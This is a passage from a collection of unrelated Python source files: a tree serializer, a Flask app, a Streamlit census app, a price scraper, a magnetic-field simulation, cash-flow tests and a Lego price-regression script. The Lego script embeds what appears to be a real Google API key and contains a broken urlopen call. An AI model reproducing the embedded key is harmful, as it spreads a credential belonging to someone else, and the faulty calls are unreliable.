Node('right')),\n         Node(u'\\57', Node('left' + u'\\57', Node(u'\\66'), Node(u'\\67')), Node('')),\n         Node(u'\\59')]\n\nfor NODE in NODES:\n    print(\"Tree in question: \")\n    print_tree(NODE)\n    serial = serialize_tree(NODE)\n    print(\"serial : \", serial)\n    head = deserialize_tree(serial)\n    print(\"Deserialized tree: \")\n    print_tree(head)\n    print('-----------------------------')\n","sub_path":"python/q_a_day/serial_binary_tree.py","file_name":"serial_binary_tree.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"614882977","text":"import os\n\nfrom flask import Flask, render_template\n\n# pylint: disable=C0103\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello():\n    \"\"\"Return a simple HTML page with a friendly message.\"\"\"\n    message = \"It's running!\"\n\n    return render_template('index.html', message=message)\n\nif __name__ == '__main__':\n    server_port = os.environ.get('PORT', '8080')\n    app.run(debug=False, port=server_port, host='0.0.0.0')\n","sub_path":"python/python-hello-world/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"440232971","text":"# Open Sublime text editor, create a new Python file, copy the following code in it and save it as 'census_main.py'.\r\n\r\n# Import modules\r\nimport streamlit as st\r\nst.set_page_config(page_title = \"Census Visualisation Web App\",page_icon = \"💥\",layout = \"centered\", initial_sidebar_state = \"auto\")\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n@st.cache()\r\ndef load_data():\r\n\t# Load the Adult Income dataset into DataFrame.\r\n\r\n\tdf = pd.read_csv('https://student-datasets-bucket.s3.ap-south-1.amazonaws.com/whitehat-ds-datasets/adult.csv', header=None)\r\n\tdf.head()\r\n\r\n\t# Rename the column names in the DataFrame using the list given above. \r\n\r\n\t# Create the list\r\n\tcolumn_name =['age', 'workclass', 'fnlwgt', 'education', 'education-years', 'marital-status', 'occupation', \r\n               'relationship', 'race','gender','capital-gain', 'capital-loss', 'hours-per-week', 'native-country', 'income']\r\n\r\n\t# Rename the columns using 'rename()'\r\n\tfor i in range(df.shape[1]):\r\n\t  df.rename(columns={i:column_name[i]},inplace=True)\r\n\r\n\t# Print the first five rows of the DataFrame\r\n\tdf.head()\r\n\r\n\r\n\r\n\t# Replace the invalid values ' ?' with 'np.nan'.\r\n\r\n\tdf['native-country'] = df['native-country'].replace(' ?',np.nan)\r\n\tdf['workclass'] = df['workclass'].replace(' ?',np.nan)\r\n\tdf['occupation'] = df['occupation'].replace(' ?',np.nan)\r\n\r\n\t# Delete the rows with invalid values and the column not required \r\n\r\n\t# Delete the rows with the 'dropna()' function\r\n\tdf.dropna(inplace=True)\r\n\r\n\t# Delete the column with the 'drop()' function\r\n\tdf.drop(columns='fnlwgt',axis=1,inplace=True)\r\n\r\n\treturn df\r\n\r\ncensus_df = load_data()\r\n\r\nimport streamlit as st\r\n# Set the title to the home page contents.\r\nst.title(\"Census Visualisation Web App\")\r\n# Provide a brief description for the web app.\r\nst.write(\"This web app allows a user to explore and visualise the census data.\")\r\n\r\n# Create the Page Navigator for 'Home' and 'Visualise Data' web pages in 'census_main.py'\r\n# Import 'census_home.py' and 'census_plots.py' .\r\nimport census_home\r\nimport census_plots\r\nimport streamlit as st\r\n# Adding a navigation in the sidebar using radio buttons\r\n# Create a dictionary.\r\npages_dict = {\r\n             \"Home:\":census_home,\r\n             \"Visualise Data:\":census_plots \r\n         }\r\n# Add radio buttons in the sidebar for navigation and call the respective pages based on user selection.\r\nst.sidebar.title('Navigation')\r\nuser_choice = st.sidebar.radio(\"Go to\", tuple(pages_dict.keys()))\r\nif user_choice == \"Home\":\r\n    home.app() \r\nelse:\r\n    selected_page = pages_dict[user_choice]\r\n    selected_page.app(census_df) \r\n\r\n","sub_path":"census_main.py","file_name":"census_main.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"310992199","text":"# -*- coding: UTF-8 -*-\r\nimport os\r\nimport os.path\r\nimport sys\r\nimport json\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom helpers.helper import create_path, \\\r\n    get_soup_response, get_text, save_csv, \\\r\n        create_csv, to_decimal\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\nAPP_PATH = os.path.realpath(__file__)\r\nAPP_FULL_PATH = os.path.dirname(APP_PATH)\r\nRESULT_PATH = os.path.join(APP_FULL_PATH, '..', '.csv')\r\nRESULT_FILE = os.path.join(RESULT_PATH, 'saida_zoom_0216.csv')\r\n\r\nSTORE_URL = 'https://www.zoom.com.br'\r\nCSV_TITLES = 'ID;URL;CATEGORIA;NOME;PRECO;PARCELAMENTO;IMAGEM\\n'\r\n\r\ncreate_csv(CSV_TITLES, RESULT_FILE)  \r\n\r\ndef get_categories_list(url, html_root_tag, html_list_class, id_or_clas):\r\n    categories_url_list = []\r\n    soup_response = get_soup_response(url)    \r\n    if id_or_clas == 'id':\r\n        html_tags_li = soup_response.find(id=html_root_tag).findAll(class_=html_list_class)\r\n    else:\r\n        html_tags_li = soup_response.find(class_=html_root_tag).findAll(class_=html_list_class)    \r\n\r\n    for hyperlink in html_tags_li:                    \r\n        category = {\r\n            'name' : hyperlink.text,\r\n            'url' : hyperlink.get('href')\r\n        }\r\n        if category.get('url'):\r\n            categories_url_list.append(category)\r\n    return categories_url_list\r\n\r\n\r\ndef get_products_list(html_tags_list, single_category, base_url):\r\n    procuts_list = []\r\n    for html_tag_list in html_tags_list:\r\n        try:\r\n            product = {}\r\n            product['name'] = get_text(html_tag_list.find('h2'))        \r\n            product['category'] = single_category.get('name')\r\n            product['parcelado'] = ''   \r\n            product['image'] =  'http:' + html_tag_list.find('a').get('data-lz-img')        \r\n            url_product = '{0}{1}'.format(base_url, html_tag_list.find('a').get('href'))\r\n            product['url'] = url_product\r\n            tag_price = get_soup_response(url_product).find(class_='product-price').find('strong')\r\n            if tag_price:    \r\n                product['price'] = to_decimal(tag_price.text.replace('R$','').strip())                         \r\n                product['id'] = html_tag_list.get('data-id')\r\n                procuts_list.append(product)\r\n        except:\r\n            pass\r\n    return procuts_list\r\n\r\ndef get_tag_list(category_url, page_number, tag_class, base_url=''):        \r\n    have_products = True    \r\n    full_category_url = '{0}{1}'.format(base_url, category_url)      \r\n    full_category_url_pagination = '{0}?pagenumber={1}'\\\r\n        .format(full_category_url, page_number)        \r\n    soup_response = get_soup_response(full_category_url_pagination)\r\n    html_tags_list = soup_response.findAll(class_=tag_class)\r\n    if(len(html_tags_list) > 0):\r\n        return html_tags_list + get_tag_list(category_url, page_number + 1, tag_class, base_url)\r\n    return html_tags_list\r\n\r\nif __name__ == '__main__':    \r\n    url_categories = STORE_URL\r\n    list_categories = get_categories_list(url_categories, 'menu-complete', 'cat-name', 'id')    \r\n    products_saved = []    \r\n    for single_category in list_categories:                \r\n        product_tag_list = get_tag_list(single_category['url'], 1, 'tp-default', STORE_URL)                \r\n        products_list = get_products_list(\r\n                product_tag_list, single_category, STORE_URL)\r\n\r\n        for product in products_list:\r\n            if product.get('id') not in products_saved:\r\n                products_saved.append(product.get('id'))\r\n                save_csv(product, RESULT_FILE)\r\n","sub_path":"bin/bot_zoom.py","file_name":"bot_zoom.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"388029333","text":"'''\nThis code computed the A rayleigh distribution for 3-D real fields and its power spectrum. We use numpy.random.rayleigh here.\n\n'''\n\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport math\nimport cmath\nfrom scipy import integrate\nfrom scipy.optimize import curve_fit\nimport pickle\n\n                          #**********Function  for Rayleigh distribution ******************************************************\n\n\n\n\ndef func(x,m,c):\n\treturn m*x+c\n\n\n \n\nzeta=11./3.\nNx=256\nNy=256\nNz=256\n\nL=2.\n\ny1=np.zeros(Ny)  \n\nx1=np.zeros(Nx)\nz1=np.zeros(Nz)\n\narrx=np.arange(0,Nx)\narry=np.arange(0,Ny)\narrz=np.arange(0,Nz)\n\n#print (len(arr))\n#print (arr)\n    #*********The k-space array *************************************\n\n\n'''\ny1[0:int(Ny/2)]=arry[0:int(Ny/2)]/L\ny1[int(Ny/2):,]=-(Ny-arry[int(Ny/2):,])/L\n\nprint (np.fft.fftfreq(Nx))\nprint (y1)\n\nx1[0:int(Nx/2)]=arrx[0:int(Nx/2)]/L\nx1[int(Nx/2):,]=-(Nx-arrx[int(Nx/2):,])/L\n\nz1[0:int(Nz/2)]=arrz[0:int(Nz/2)]/L\nz1[int(Nz/2):,]=-(Nz-arrz[int(Nz/2):,])/L\n\n'''\n\n#k1=np.zeros((Nz*Ny*Nx)) \n\nx1 = np.fft.fftfreq(Nx,d=0.1)  # L=10 now\ny1 = np.fft.fftfreq(Ny,d=0.1) #L =12 here    min 1/(120*0.1)\nz1 = np.fft.fftfreq(Nz,d=0.1)  # L=12.8 \n\n\n\nky,kx,kz=np.meshgrid(y1,x1,z1)\n\n#print ('ky shape',ky.shape)\n\n\nk1=np.sqrt(ky**2+kx**2+kz**2)\n\n\n#print (k1.shape)\n\n\nprint ('wavenumber k min and max',k1.min(),k1.max())\n\n\n\n'''\nk1=np.ndarray.flatten(k1)\n\n # To plot the Rayleigh distribution for random A values for the K-space.  To check how Rayleigh distribution looks.\nA_k1=np.random.uniform(low=0,high=10,size=2000)\nzipped_lists = zip(A_k1,k1) #sorting k baised on A \n\nsorted_lists = sorted(zipped_lists)\n\nk_sorted = [x for k1, x in sorted_lists]\nA_k1.sort()\nk_sorted=np.asarray(k_sorted)\nprint (A_k1[0:2],k_sorted[0:2])\nA_k1=np.asarray(A_k1)\n\nplt.plot(A_k1,my_dist(A_k1,abs(k_sorted)))\n\n\nplt.show()\n'''\n\nsigma=np.zeros((Nx,Ny,Nz))\n\n\nA_arr=np.zeros((Nx,Ny,Nz))\n\nA_kx_r=np.zeros((Nx,Ny,Nz))\nA_ky_r=np.zeros((Nx,Ny,Nz))\nA_kz_r=np.zeros((Nx,Ny,Nz))\nA_kx_i=np.zeros((Nx,Ny,Nz))\nA_ky_i=np.zeros((Nx,Ny,Nz))\nA_kz_i=np.zeros((Nx,Ny,Nz))\n\n # We assign the A_k for each K-value, based on the sigma for its distribution, we take a range here (of 1 \\sigma)\n\n\n#k_min=0.1\n\n\n\nk_max=max(np.max(abs(x1)),np.max(abs(y1)),np.max(abs(z1)))\n\nk_min=max(np.min(abs(x1[1:])),np.min(abs(y1[1:])),np.min(abs(z1[1:])))\n\nprint ('k_max,k_min',k_max,k_min)\n\nmask=k1>k_min\nmask&=k1<k_max\n\n#print (mask)\n#mask &=k1<6.\nsigma[mask]=np.sqrt(k1[mask]**(-zeta)) \nk_0=k_min+0.5\n#sigma[mask]=np.sqrt((k1[mask]**2)*np.exp(-k1[mask]**2/k_0**2))\n#sigma[mask]=2.0\nphi=2*np.pi*np.random.uniform(0,1,(Nx,Ny,Nz))\nA_mag=np.zeros((Nx,Ny,Nz))\n\n\n\n\nA_mag[mask]=np.random.rayleigh(sigma[mask])\n\n\nA_kx_r[mask]=A_mag[mask]*np.cos(phi[mask])\nA_kx_i[mask]=A_mag[mask]*np.sin(phi[mask])\n\n\ndel A_mag,phi\n\nA_mag=np.zeros((Nx,Ny,Nz))\nphi=2*np.pi*np.random.uniform(0,1,(Nx,Ny,Nz))\nA_mag[mask]=np.random.rayleigh(sigma[mask])\n\nA_ky_r[mask]=A_mag[mask]*np.cos(phi[mask])\nA_ky_i[mask]=A_mag[mask]*np.sin(phi[mask])\n\n\ndel A_mag,phi\n\nA_mag=np.zeros((Nx,Ny,Nz))\nphi=2*np.pi*np.random.uniform(0,1,(Nx,Ny,Nz))\nA_mag[mask]=np.random.rayleigh(sigma[mask])\n\n\nA_kz_r[mask]=A_mag[mask]*np.cos(phi[mask])\nA_kz_i[mask]=A_mag[mask]*np.sin(phi[mask])\n\ndel A_mag,phi\n\n\nA_arr=np.sqrt(A_kz_i**2+A_kz_r**2+A_ky_i**2+A_ky_r**2+A_kx_i**2+A_kx_r**2) \n\n\n\n\n\n# saving the vector potential in real space after ifftn\nprint (np.min(A_arr),np.max(A_arr))  \n\n\nA_kx=np.fft.ifftn(A_kx_r+A_kx_i*1.j)\nA_ky=np.fft.ifftn(A_ky_r+A_ky_i*1.j)\nA_kz=np.fft.ifftn(A_kz_r+A_kz_i*1.j)\n\n\ndbfile=open('ak3d_x.pkl','wb')\npickle.dump(A_kx,dbfile)\ndbfile.close()\n\ndbfile=open('ak3d_y.pkl','wb')\npickle.dump(A_ky,dbfile)\ndbfile.close()\n\ndbfile=open('ak3d_z.pkl','wb')\npickle.dump(A_kz,dbfile)\ndbfile.close()\n\n\n\n# to check sigma \n\n\n\n#using A_k and k values to find the probability distribution\n\n\n'''\nA_arr=np.ndarray.flatten(A_arr)\nk1=np.ndarray.flatten(k1)\np = my_dist(A_arr,k1)\n\np=np.asarray(p)[A_arr!=0].tolist()\nA_arr=A_arr[A_arr!=0].tolist()\n\nprint (np.min(p),np.max(p))\n\nzipped_lists = zip(A_arr,p)\n\nsorted_lists = sorted(zipped_lists)\n\n\np_sorted = [x for p, x in sorted_lists]   # sorting out the Probability in order of A increasing for plotting\nA_arr.sort()\n\n#plt.xlim(0,5)\n#print (y1t[o:5])\nplt.plot(A_arr,p_sorted)     #plotting the probability distribution and one can check if this is similar to the trial above\n\nprint (p_sorted[0:10])\n\nplt.title(r\"$\\mathrm{Ak\\, vs\\, Prob.\\,}$\")\nplt.show()\n\n\nA_arr=np.ndarray.flatten(A_arr)\nk1=np.ndarray.flatten(k1)\nk1=np.asarray(k1)[A_arr!=0].tolist()\nA_arr=A_arr[A_arr!=0].tolist()\n\n\nzipped_lists = zip(k1,A_arr)  #To check the power-spectrum of A_k vs k   (comment the sorted A_arr)\n\nsorted_lists = sorted(zipped_lists)\n\narr_sorted = [x for A, x in sorted_lists]\nk1.sort()\nk1=np.asarray(k1)\narr_sorted=np.asarray(arr_sorted)\n\n#arr_sorted[y1<1]=0.0\npopt, pcov = curve_fit(func,np.log10(k1),np.log10(arr_sorted**2))\n\nplt.plot(np.log10(k1),np.log10(arr_sorted**2))\nplt.plot(np.log10(k1),func(np.log10(k1),*popt), 'r-',label='fit: y= %5.3f x + %5.3f' % tuple(popt))\nplt.legend()\n\nplt.title(r\"$\\mathrm{k\\, vs\\, |Ak|^2\\, (log-log\\,plot)}$\")\nplt.show()\n\n'''\n\n\n#************************ Magnetic field *************************************8\n\n\nBx= (ky*(A_kz_r*1.j-A_kz_i) - kz*(A_ky_r*1.j-A_ky_i))\nBy =(- kx*(A_kz_r*1.j-A_kz_i) + kz*(A_kx_r*1.j-A_kx_i))     # i**2= -1.\nBz = (kx*(A_ky_r*1.j-A_ky_i) - ky*(A_kx_r*1.j-A_kx_i))\n\n\nprint ('sum',np.sum(Bx+By+Bz))\n\nprint ('Bx_real',np.max(Bx.imag),np.max(Bx.real))\n#print (np.min(B),np.max(B))\nBx_fft=np.fft.ifftn(Bx)\nBy_fft=np.fft.ifftn(By)\nBz_fft=np.fft.ifftn(Bz)\n\n#B=np.zeros(Nx*Ny*Nz)\n'''\n#########Check if the divergence of magnetic field is zeros in real space, for check in k-space, just multiply Bi by ki\n\nBx_fft=np.ndarray.flatten(Bx_fft)\nBy_fft=np.ndarray.flatten(By_fft)\nBz_fft=np.ndarray.flatten(Bz_fft)\n\nBx_check=(Bx_fft[1:]-Bx_fft[-1:])/5.\nBy_check=(By_fft[1:]-By_fft[-1:])/5.\nBz_check=(Bz_fft[1:]-Bz_fft[-1:])/5.\n\n\n\n\nBx_check=(Bx_fft[1:,1:,1:]-Bx_fft[-1:,-1:,-1:])/0.1\nBy_check=(By_fft[1:,1:,1:]-By_fft[-1:,-1:,-1:])/0.1\nBz_check=(Bz_fft[1:,1:,1:]-Bz_fft[-1:,-1:,-1:])/0.1\n\nprint (np.sum(Bx_check+By_check+Bz_check))\n\n\n'''\nB=np.sqrt(Bx.real**2+Bx.imag**2+By.real**2+By.imag**2+Bz.real**2+Bz.imag**2)\n#mag1=np.sqrt(Bx_fft.imag**2+By_fft.imag**2+Bz_fft.imag**2+Bx_fft.real**2+By_fft.real**2+Bz_fft.real**2)\n\n#print (np.min(mag1),np.max(mag1))\n\n#mag=np.reshape(mag1,(Nz,Ny,Nx))\n\n#plt.plot(k1,B)\n#plt.show()\n\n\n#plt.xlim(0.1,1)\n#********************* plot Mag field power spectra ***************************************************\n\ndel A_kz_r,A_kz_i\ndel A_ky_r,A_ky_i\ndel A_kx_r,A_kx_i\ndel sigma\ndel k1\n'''\nB=np.ndarray.flatten(B)\nk1=np.ndarray.flatten(k1)\n\nprint (B)\n\nk1=np.asarray(k1)[B!=0].tolist()\nB=B[B!=0].tolist()\n\n\n\nzipped_lists = zip(k1,B)  #To check the power-spectrum of A_k vs k   (comment the sorted A_arr)\n\nsorted_lists = sorted(zipped_lists)\n\nb_sorted = [x for B, x in sorted_lists]\nk1.sort()\nk1=np.asarray(k1)\nb_sorted=np.asarray(b_sorted)\n#plt.loglog(k1,b_sorted)\n#arr_sorted[y1<1]=0.0\nplt.plot(np.log10(k1),np.log10(b_sorted**2))\npopt, pcov = curve_fit(func,np.log10(k1),np.log10(b_sorted**2))\n\nplt.plot(np.log10(k1),np.log10(b_sorted**2))\nplt.plot(np.log10(k1),func(np.log10(k1),*popt), 'r-',label='fit: y= %5.3f x + %5.3f' % tuple(popt))\nplt.legend()\n\nplt.title(r\"$\\mathrm{k\\, vs\\, |Bk|^2\\, (log-log\\,plot)}$\")\n\nplt.show()\n'''\n\ndbfile=open('mag3d_x.pkl','wb')\npickle.dump(Bx_fft,dbfile)\ndbfile.close()\n\ndbfile=open('mag3d_y.pkl','wb')\npickle.dump(By_fft,dbfile)\ndbfile.close()\n\ndbfile=open('mag3d_z.pkl','wb')\npickle.dump(Bz_fft,dbfile)\ndbfile.close()\n\ndbfile=open('mag3d.pkl','wb')\npickle.dump(B,dbfile)\ndbfile.close()\n\n\n\n\ndel Bx\ndel By\ndel Bz\ndel B\n\n","sub_path":"dist10.py","file_name":"dist10.py","file_ext":"py","file_size_in_byte":7691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"519806949","text":"import matplotlib.pyplot as plt\n\nclass Point:\n    def __init__(self, x=0, f=0.0, rate=0.0, regular=0.0, spend=False):\n        self.x=x; self.f=f; self.rate=rate; self.regular=regular\n        self.ticks = []\n        self.funds = []\n        self.spend = spend\n\n    def __str__(self):\n        return '\\tpoint:'+'\\tx:'+str(self.x)+'\\tf:'+str(self.f)+'\\trate:'+str(self.rate)+'\\tregular:'+str(self.regular)+\\\n               '\\tspend:'+str(self.spend)\n\n    def update(self, x=0, f=0.0, rate=0.0, regular=0.0, spend=False):\n        self.x = x;\n        self.f += f;\n        self.rate += rate;\n        self.regular += regular\n        self.spend = spend or self.spend\n\n    def total(self):\n        if self.funds != []: return self.funds[-1]\n        else: return 0\n\n    def flow(self, toPoint):\n        self.funds = [self.f]\n        self.ticks = [0]\n        for i in range(1, abs(self.x-toPoint.x)+1):\n            self.funds.append(self.funds[i-1]*(1+self.rate)+self.regular)\n            self.ticks.append(i)\n        \n    def power(self, fromPoint):\n        if self.spend==False: self.f += fromPoint.total()\n    \nclass CashFlow:\n    def __init__(self):\n        self.points = []\n        self.funds = []\n        self.ticks = []\n\n    def flow(self):\n        self.calc()\n        self.tick()\n\n    def calc(self):\n        self.funds = []\n        for j in range(1, len(self.points)):\n            fromPoint = self.points[j-1]\n            toPoint = self.points[j]\n            fromPoint.flow(toPoint)\n            toPoint.power(fromPoint)\n            self.funds += fromPoint.funds\n\n    def tick(self):\n        self.ticks = []\n        i = 1\n        for p in self.points:\n            i = i - 1\n            for t in p.ticks:\n                self.ticks.append(i)\n                i = i + 1\n\n    def setPoint(self, x=0, f=0.0, rate=0.0, regular=0.0, spend=False):\n        index = self.poindex(x)\n        if index == None:\n            self.points.append(Point(x=x, f=f, rate=rate, regular=regular, spend=spend))\n        else:\n            point = self.points[index]\n            point.update(x=x, f=f, rate=rate, regular=regular, spend=spend)\n        self.sortPoints()\n\n    def poindex(self, x):\n        for p in self.points:\n            if p.x == x: return self.points.index(p)\n        return None\n    \n    def sortPoints(self):\n        self.points = sorted(self.points, key=lambda f: f.x)\n        \n    def __add__(self, argum):\n        c = CashFlow()\n        for p in (self.points + argum.points):\n            c.setPoint(x=p.x, f=p.f, rate=p.rate, regular=p.regular, spend=p.spend)\n        return c\n\n    def pack(self):\n        data = []\n        for i in range(len(self.ticks)):\n            data.append([self.ticks[i], self.funds[i]])\n        return data\n\n#--test-Point---------------------------------------------------------------------\ndef testInitPoint():\n    a = Point()\n    assert(a.x==0 and a.f==0 and a.regular==0 and a.rate==0)\ntestInitPoint()\n\ndef testPointsFlow():\n    a = Point(x=0, f=10, regular=5)\n    b = Point(x=5)\n    a.flow(b)\n    assert(a.ticks==[0, 1, 2, 3, 4, 5] and\n           a.funds==[10, 15.0, 20.0, 25.0, 30.0, 35.0])\ntestPointsFlow()\n\ndef testPointsTotal():\n    a = Point(x=0, f=10, regular=5)\n    b = Point(x=5)\n    a.flow(b)\n    assert(a.total() == 35.0)\ntestPointsTotal()\n\ndef testPointUpdate():\n    a = Point(x=0, f=0, regular=0, rate=0, spend=False)\n    a.update(x=3, f=10, regular=5, rate=0.5, spend=True)\n    assert(a.x==3 and a.f==10 and a.regular==5 and a.rate==0.5 and a.spend==True)\ntestPointUpdate()\n\ndef testPointsRegularMinus():\n    a = Point(x=0, f=0, regular=-5)\n    b = Point(x=5)\n    a.flow(b)\n    assert(a.ticks==[0, 1, 2, 3, 4, 5] and\n           a.funds==[0, -5, -10, -15, -20, -25])\ntestPointsRegularMinus()\n\ndef testPointsFromMinusToZero():\n    a = Point(x=-5, regular=5)\n    b = Point(x=0)\n    a.flow(b)\n    assert(a.ticks==[0, 1, 2, 3, 4, 5] and\n           a.funds==[0, 5, 10, 15, 20, 25])\ntestPointsFromMinusToZero()\n\n#--test-CashFlow--------------------------------------------------------------------\ndef testInitCashFlow():\n    c = CashFlow()\n    assert(len(c.points)==0 and c.funds==[] and c.ticks==[])\ntestInitCashFlow()\n\ndef testCashFlowPoindex():\n    c = CashFlow()\n    c.points.append(Point(x=0))\n    c.points.append(Point(x=3))\n    c.points.append(Point(x=5))\n    index = c.poindex(x=3)\n    assert(index==1)\ntestCashFlowPoindex()\n\ndef testCashFlowSortingPoints():\n    c = CashFlow()\n    c.points.append(Point(x=5))\n    c.points.append(Point(x=0))\n    c.points.append(Point(x=3))\n    before = [p.x for p in c.points]\n    c.sortPoints()\n    after = [p.x for p in c.points]\n    assert(before==[5, 0, 3] and after==[0, 3, 5])\ntestCashFlowSortingPoints()\n\ndef testCashFlowSetOnePoint():\n    c = CashFlow()\n    c.setPoint(x=0,  f=0, regular=5, spend=False)\n    point = c.points[0]\n    assert(len(c.points)==1 and point.x==0 and point.f==0 and point.regular==5 and point.spend==False)\ntestCashFlowSetOnePoint()\n\ndef testCashFlowSetNotExistPoint():\n    c = CashFlow()\n    c.setPoint(x=0, regular=5)\n    c.setPoint(x=3, spend=True)\n    first = c.points[0]\n    second = c.points[1]\n    assert(first.x==0 and first.regular==5 and second.x==3 and second.spend==True)\ntestCashFlowSetNotExistPoint()\n\ndef testCashFlowSetExistPoint():\n    c = CashFlow()\n    c.setPoint(x=0, regular=5)\n    c.setPoint(x=0, regular=10)\n    c.setPoint(x=0, regular=3)\n    regSum = 5 + 10 + 3\n    assert(len(c.points)==1 and c.points[0].regular==regSum)\ntestCashFlowSetExistPoint()\n\ndef testCashFlowCalc():\n    c = CashFlow()\n    c.setPoint(x=0, f=5, regular=5)\n    c.setPoint(x=5)\n    c.calc()\n    assert(c.funds==[5, 10, 15, 20, 25, 30])\ntestCashFlowCalc()\n\ndef testCashFlowTick():\n    c = CashFlow()\n    c.setPoint(x=0, f=5, regular=5)\n    c.setPoint(x=5)\n    c.calc()\n    c.tick()\n    assert(c.ticks==[0, 1, 2, 3, 4, 5])\ntestCashFlowTick()\n\ndef testCashFlowManyTicks():\n    c = CashFlow()\n    c.setPoint(x=0)\n    c.setPoint(x=3)\n    c.setPoint(x=5)\n    c.setPoint(x=10)\n    c.setPoint(x=15)\n    c.flow()\n    assert(c.ticks==[0, 1, 2, 3] + [3, 4, 5] + [5, 6, 7, 8, 9, 10] + [10, 11, 12, 13, 14, 15])\ntestCashFlowManyTicks()\n\ndef testCashFlowFlow():\n    c = CashFlow()\n    c.setPoint(x=0, f=5, regular=5)\n    c.setPoint(x=5)\n    c.flow()\n    assert(c.ticks==[0, 1, 2, 3, 4, 5] and\n           c.funds==[5, 10, 15, 20, 25, 30])\ntestCashFlowFlow()\n\ndef testCashFlowTwoSubflows():\n    c = CashFlow()\n    c.setPoint(x=0, regular=5)\n    c.setPoint(x=5, regular=5)\n    c.setPoint(x=10)\n    c.flow()\n    assert(c.ticks == [0, 1, 2, 3, 4, 5] +     [5, 6, 7, 8, 9, 10] and\n           c.funds == [0, 5, 10, 15, 20, 25] + [25, 30, 35, 40, 45, 50])\ntestCashFlowTwoSubflows()\n\ndef testCashFlowSpend():\n    c = CashFlow()\n    c.setPoint(x=0, regular=5)\n    c.setPoint(x=5, regular=5, spend=True)\n    c.setPoint(x=10)\n    c.flow()\n    assert(c.ticks == [0, 1, 2, 3, 4, 5] +     [5, 6, 7, 8, 9, 10] and\n           c.funds == [0, 5, 10, 15, 20, 25] + [0, 5, 10, 15, 20, 25])\ntestCashFlowSpend()\n\ndef testCashFlowRaiseFunds():\n    c = CashFlow()\n    c.setPoint(x=0, regular=5)\n    c.setPoint(x=5, regular=5, f=10)\n    c.setPoint(x=10)\n    c.flow()\n    assert(c.ticks == [0, 1, 2, 3, 4, 5] +     [5, 6, 7, 8, 9, 10] and\n           c.funds == [0, 5, 10, 15, 20, 25] + [35, 40, 45, 50, 55, 60])\ntestCashFlowRaiseFunds()\n\ndef testAdd():\n    A = CashFlow()\n    A.setPoint(x=0, regular=1)\n    A.setPoint(x=5, spend=True)\n    A.setPoint(x=10)\n    A.setPoint(x=12)\n    A.flow()\n\n    B = CashFlow()\n    B.setPoint(x=0)\n    B.setPoint(x=5, regular=1)\n    B.setPoint(x=10, spend=True)\n    B.setPoint(x=12)\n    B.flow()\n\n    #print('A:')\n    #for p in A.points: print(p)\n          \n    #print('B:')\n    #for p in B.points: print(p)\n          \n    #print('C:')\n    C = B + A\n    #for p in C.points: print(p)\n    C.flow()\n\n    print('[')\n    for e in C.pack(): print('\\t', e, end=',\\n')\n    print(']')\n\n    print([str(t)+'.2015' for t in C.ticks])\n    \n    plt.plot(C.ticks, C.funds); plt.grid(True); plt.show()\ntestAdd()\n\ndef test():\n    A = CashFlow()\n    A.setPoint(x=0, regular=10, spend=1)\n    A.setPoint(x=3, regular=10, spend=1)\n    A.setPoint(x=6, spend=1)\n    A.flow()\n    \n    #plt.plot(A.ticks, A.funds); plt.grid(True); plt.show()\ntest()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"arm_py/CashFlow.py","file_name":"CashFlow.py","file_ext":"py","file_size_in_byte":8225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"342892549","text":"\nfrom time import sleep\nimport json\nimport urllib.request\nfrom numpy import *\ndef searchForSet(retX, retY, setNum, yr, numPce, origPrc):\n    sleep(10)\n\n    proxies = {\"http\": \"http://127.0.0.1:1080\",\n               \"https\": \"http://127.0.0.1:1080\",\n               }\n    myAPIstr = 'AIzaSyD2cR2KFyx12hXu6PFU-wrWot3NXvko8vY'\n    # searchURL = 'https://www.googleapis.com/shopping/search/v1/public/products?key=%s&country=US&q=lego+%d&alt=json' % (myAPIstr, setNum)\n    searchURL = 'https://developers.google.com/products?key=%s&country=US&q=lego+%d&alt=json' % (myAPIstr, setNum)\n    pg =  urllib.request.urlopen(searchURL,urllib.request.urlopen(searchURL))\n    retDict = json.loads(pg.read())\n    for i in range(len(retDict['items'])):\n        try:\n            currItem = retDict['items'][i]\n            if currItem['product']['condition'] == 'new':\n                newFlag = 1\n            else: newFlag = 0\n            listOfInv = currItem['product']['inventories']\n            for item in listOfInv:\n                sellingPrice = item['price']\n                if  sellingPrice > origPrc * 0.5:\n                    print (\"%d\\t%d\\t%d\\t%f\\t%f\" % (yr,numPce,newFlag,origPrc, sellingPrice))\n                    retX.append([yr, numPce, newFlag, origPrc])\n                    retY.append(sellingPrice)\n        except: print ('problem with item %d' % i)\n\ndef setDataCollect(retX, retY):\n    searchForSet(retX, retY, 8288, 2006, 800, 49.99)\n    searchForSet(retX, retY, 10030, 2002, 3096, 269.99)\n    searchForSet(retX, retY, 10179, 2007, 5195, 499.99)\n    searchForSet(retX, retY, 10181, 2007, 3428, 199.99)\n    searchForSet(retX, retY, 10189, 2008, 5922, 299.99)\n    searchForSet(retX, retY, 10196, 2009, 3263, 249.99)\n\ndef ridgeRegres(xMat, yMat, lam=0.2):\n    xTx = xMat.T * xMat\n    denom = xTx + eye(shape(xMat)[1]) * lam\n    if linalg.det(denom) == 0.0:\n        print\n        \"This matrix is singular, cannot do inverse\"\n        return\n    ws = denom.I * (xMat.T * yMat)\n    return ws\n\ndef ridgeTest(xArr, yArr):\n    xMat = mat(xArr);\n    yMat = mat(yArr).T\n    yMean = mean(yMat, 0)   #按照行取平均，每行平均\n    yMat = yMat - yMean  # to eliminate X0 take mean off of Y\n    # regularize X's\n    xMeans = mean(xMat, 0)  # calc mean then subtract it off\n    xVar = 